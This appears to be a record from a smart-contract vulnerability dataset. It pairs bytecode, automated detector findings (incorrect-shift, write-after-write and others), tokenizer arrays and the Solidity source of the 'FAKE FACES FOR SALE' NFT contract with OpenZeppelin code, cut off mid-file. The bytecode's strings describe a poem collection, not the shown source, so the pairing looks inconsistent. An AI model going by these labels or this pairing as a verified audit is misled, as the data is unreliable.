920160200192915050565b6000825161370281846020870161424e565b9190910192915050565b6000845161371e81846020890161424e565b84519083019061373281836020890161424e565b845191019061374581836020880161424e565b0195945050505050565b60008651613761818460208b0161424e565b865190830190613775818360208b0161424e565b8651910190613788818360208a0161424e565b855191019061379b81836020890161424e565b84519101906137ae81836020880161424e565b01979650505050505050565b6000885160206137cd8285838e0161424e565b8951918401916137e08184848e0161424e565b89519201916137f28184848d0161424e565b88519201916138048184848c0161424e565b87519201916138168184848b0161424e565b86519201916138288184848a0161424e565b855192019161383a818484890161424e565b919091019a9950505050505050505050565b60008a5161385e818460208f0161424e565b8a516138708183860160208f0161424e565b8a519184010190613885818360208e0161424e565b89516138978183850160208e0161424e565b89519290910101906138ad818360208c0161424e565b87519101906138c0818360208b0161424e565b86516138d28183850160208b0161424e565b86519290910101906138e881836020890161424e565b84516138fa818385016020890161424e565b9101019b9a5050505050505050505050565b60007f3c2f746578743e3c7465787420783d2234302220793d220000000000000000008252825161394481601785016020870161424e565b6e111031b630b9b99e913130b9b2911f60891b6017939091019283015250602601919050565b6a72616e646f6d4c696e657360a81b8152600b0190565b6d3337b63637bbb2b2213ca737bab760911b8152600e0190565b703337b63637bbb2b2213ca0b737ba3432b960791b815260110190565b60006353495a4560e01b825282516139d781600485016020870161424e565b9190910160040192915050565b60006353495a4560e01b82528351613a0381600485016020880161424e565b600492019182019290925260240192915050565b6a72616e646f6d4e6f756e7360a81b8152600b0190565b60007f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c00000082528251613a6681601d85016020870161424e565b91909101601d0192915050565b6f7b226e616d65223a2022706f656d202360801b81528251600090613a9f81601085016020880161424e565b7f222c20226465736372697074696f6e223a202270757069206b61757220706f656010918401918201527f7472792e206973206120636f6c6c656374696f6e206f662e2031302c3030302060308201527f766572792d736572696f7573206f6e2d636861696e20706f656d732e202d707560508201527f7069206b617572222c2022696d616765223a2022646174613a696d6167652f7360708201526d1d99cade1b5b0ed8985cd94d8d0b60921b60908201528351613b6581609e84016020880161424e565b61227d60f01b609e929091019182015260a001949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613bc7908301846136c4565b9695505050505050565b6000602080830181845280855180835260408601915060408482028701019250838701855b82811015613c2457603f19888603018452613c128583516136c4565b94509285019290850190600101613bf6565b5092979650505050505050565b901515815260200190565b6000602082526109b960208301846136c4565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252601f908201527f45746865722076616c75652073656e74206973206e6f7420636f727265637400604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526010908201526f151bdad95b881251081a5b9d985b1a5960821b604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b90815260200190565b60405181810167ffffffffffffffff811182821017156141c0576141c0614310565b604052919050565b600067ffffffffffffffff8211156141e2576141e2614310565b5060209081020190565b600082198211156141ff576141ff6142e4565b500190565b600082614213576142136142fa565b500490565b6000816000190483118215151615614232576142326142e4565b500290565b600082821015614249576142496142e4565b500390565b60005b83811015614269578181015183820152602001614251565b838111156119995750506000910152565b60028104600182168061428e57607f821691505b602082108114156142af57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156142c9576142c96142e4565b5060010190565b6000826142df576142df6142fa565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610d3d57600080fdfe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a20236666666666663b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d222366666139643822202f3e3c7465787420783d2234302220793d2234352220636c6173733d2262617365223ea264697066735822122008688f55cc2eeccafea2e5f3fa3b52de7fb1f8809852c72206fae9c9e26238f464736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 2692, 2546, 26224, 2278, 2581, 2278, 2620, 2487, 2278, 2546, 2509, 2063, 17914, 2620, 10322, 17465, 2278, 23777, 2692, 2683, 22907, 2581, 22025, 2497, 22022, 2546, 3207, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 11998, 2011, 2500, 1006, 1063, 9413, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,891
0x95e1D0917A7cE96675C76bdaa775aB188794c265
// ███████╗░█████╗░██╗░░██╗███████╗  ███████╗░█████╗░░█████╗░███████╗░██████╗ // ██╔════╝██╔══██╗██║░██╔╝██╔════╝  ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔════╝ // █████╗░░███████║█████═╝░█████╗░░  █████╗░░███████║██║░░╚═╝█████╗░░╚█████╗░ // ██╔══╝░░██╔══██║██╔═██╗░██╔══╝░░  ██╔══╝░░██╔══██║██║░░██╗██╔══╝░░░╚═══██╗ // ██║░░░░░██║░░██║██║░╚██╗███████╗  ██║░░░░░██║░░██║╚█████╔╝███████╗██████╔╝ // ╚═╝░░░░░╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝  ╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚══════╝╚═════╝░ // ███████╗░█████╗░██████╗░  ░██████╗░█████╗░██╗░░░░░███████╗ // ██╔════╝██╔══██╗██╔══██╗  ██╔════╝██╔══██╗██║░░░░░██╔════╝ // █████╗░░██║░░██║██████╔╝  ╚█████╗░███████║██║░░░░░█████╗░░ // ██╔══╝░░██║░░██║██╔══██╗  ░╚═══██╗██╔══██║██║░░░░░██╔══╝░░ // ██║░░░░░╚█████╔╝██║░░██║  ██████╔╝██║░░██║███████╗███████╗ // ╚═╝░░░░░░╚════╝░╚═╝░░╚═╝  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝ // // FAKE FACES FOR SALE // Jonathan Dinu (@clearspandex) // 2022 // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import '@openzeppelin/contracts/token/ERC721/ERC721.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/Counters.sol'; import '@openzeppelin/contracts/security/Pausable.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol'; contract FakeFaces is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable, ERC721Burnable, ERC721Royalty, ReentrancyGuard { using Counters for Counters.Counter; using ECDSA for bytes32; event PermanentURI(string _value, uint256 indexed _id); Counters.Counter private _tokenIdCounter; string private constant _placeholder = 'ipfs://QmXKuLV3DLxUg9wrw11knyFK9KGn9NhxuFETJQwFgeNQGb'; uint96 private constant _royalty = 10; bool private _active = false; uint256 private _maxSupply; string private _message; constructor(uint256 limit, string memory message) ERC721('FAKE FACES FOR SALE', 'FFFS') { _setDefaultRoyalty(owner(), _royalty * 100); _maxSupply = limit; _message = message; } function contractURI() public pure returns (string memory) { return 'ipfs://QmdfHXKS3saeQMmW9Ga4CbkvSMh6EUoN72pdypBVdmqRRX'; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function openMint() public onlyOwner { _active = true; } function _recoverSigner(bytes memory sig) internal view returns (address) { bytes32 messagehash = keccak256(bytes(_message)); return messagehash.toEthSignedMessageHash().recover(sig); } function mint(bytes memory signature) public nonReentrant whenNotPaused { require( _active || msg.sender == owner(), 'Minting has not been opened yet' ); require( totalSupply() < _maxSupply, 'Total supply of tokens has already been minted....' ); require( balanceOf(msg.sender) < 1, 'Only one token is allowed per address!' ); require( _recoverSigner(signature) == owner(), 'Signature does not match' ); uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(msg.sender, tokenId); _setTokenURI(tokenId, _placeholder); assert(balanceOf(msg.sender) == 1); } function updateTokenURI(uint256 tokenId, string memory uri) public onlyOwner whenNotPaused { bytes32 placeholderUri = keccak256(abi.encodePacked(_placeholder)); bytes32 oldUri = keccak256(abi.encodePacked(super.tokenURI(tokenId))); bytes32 newUri = keccak256(abi.encodePacked(uri)); require(oldUri != newUri, 'URIs are the same. Please supply a new URI'); require(placeholderUri == oldUri, 'Metadata can only be updated once.'); _setTokenURI(tokenId, uri); emit PermanentURI(uri, tokenId); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) whenNotPaused { if (to != address(0)) { require( balanceOf(to) < 1, 'Only one token is allowed per address!' ); } super._beforeTokenTransfer(from, to, tokenId); } // The following functions are overrides required by Solidity. function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage, ERC721Royalty) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, ERC721Royalty) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../utils/Context.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT // 